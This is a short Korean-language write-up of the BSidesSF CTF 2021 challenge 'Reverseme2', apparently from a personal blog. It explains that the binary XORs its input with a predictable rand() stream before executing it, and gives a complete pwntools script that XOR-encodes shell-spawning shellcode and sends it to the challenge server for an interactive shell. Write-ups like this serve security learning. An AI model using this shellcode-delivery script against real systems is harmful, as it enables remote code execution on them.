BesidesSF CTF 2021] Reverseme2

노션으로 옮김·2021년 3월 19일
0

문제

1번 문제와 동일한 형태이다.

문자열을 입력받고 세그멘테이션 오류가 발생되면서 종료한다.


풀이

소스를 확인하면

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ssize_t v4; // [rsp+18h] [rbp-18h]
  void *buf; // [rsp+20h] [rbp-10h]
  int i; // [rsp+2Ch] [rbp-4h]

  buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
  alarm(0xAu);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  srand(0x13371337u);
  puts("Send me (encoded) x64!!");
  v4 = read(0, buf, 0x1000uLL);
  if ( v4 < 0 )
  {
    puts("Error reading!");
    exit(1);
  }
  for ( i = 0; v4 > i; ++i )
    *(buf + i) ^= rand() >> 3;
  (buf)(0LL, buf);
  return 0;
}

1번 문제와 유일하게 다른 부분은 입력받은 값을 rand()의 결과를 쉬프트한 값과 XOR한다는 것이다.

하지만 srand0x13371337 씨드를 전달하기 때문에, 같은 씨드값으로 랜덤값을 생성하여 문제에서 XOR에 사용된 값을 알아낼 수 있다.

from pwn import *
from ctypes import *
libc = '/lib/x86_64-linux-gnu/libc-2.19.so'
funcs = CDLL(libc)

context.update(log_level = 'debug', arch='amd64', os='linux')

#p = process('reverseme2')
p = remote('reverseme2-24b392b5.challenges.bsidessf.net', 1339)

p.recvline()


shellcode = asm(shellcraft.amd64.linux.sh())
xor_code=''
funcs.srand(0x13371337)
for x in shellcode:
        tp = int(x.encode('hex'), 16)
        xor_code += chr(tp ^ ((funcs.rand() >>3)&0xff))
print xor_code
p.sendline(xor_code)
p.interactive()

코드를 실행하면 쉘코드가 실행되어 플래그를 읽을 수 있다.

0개의 댓글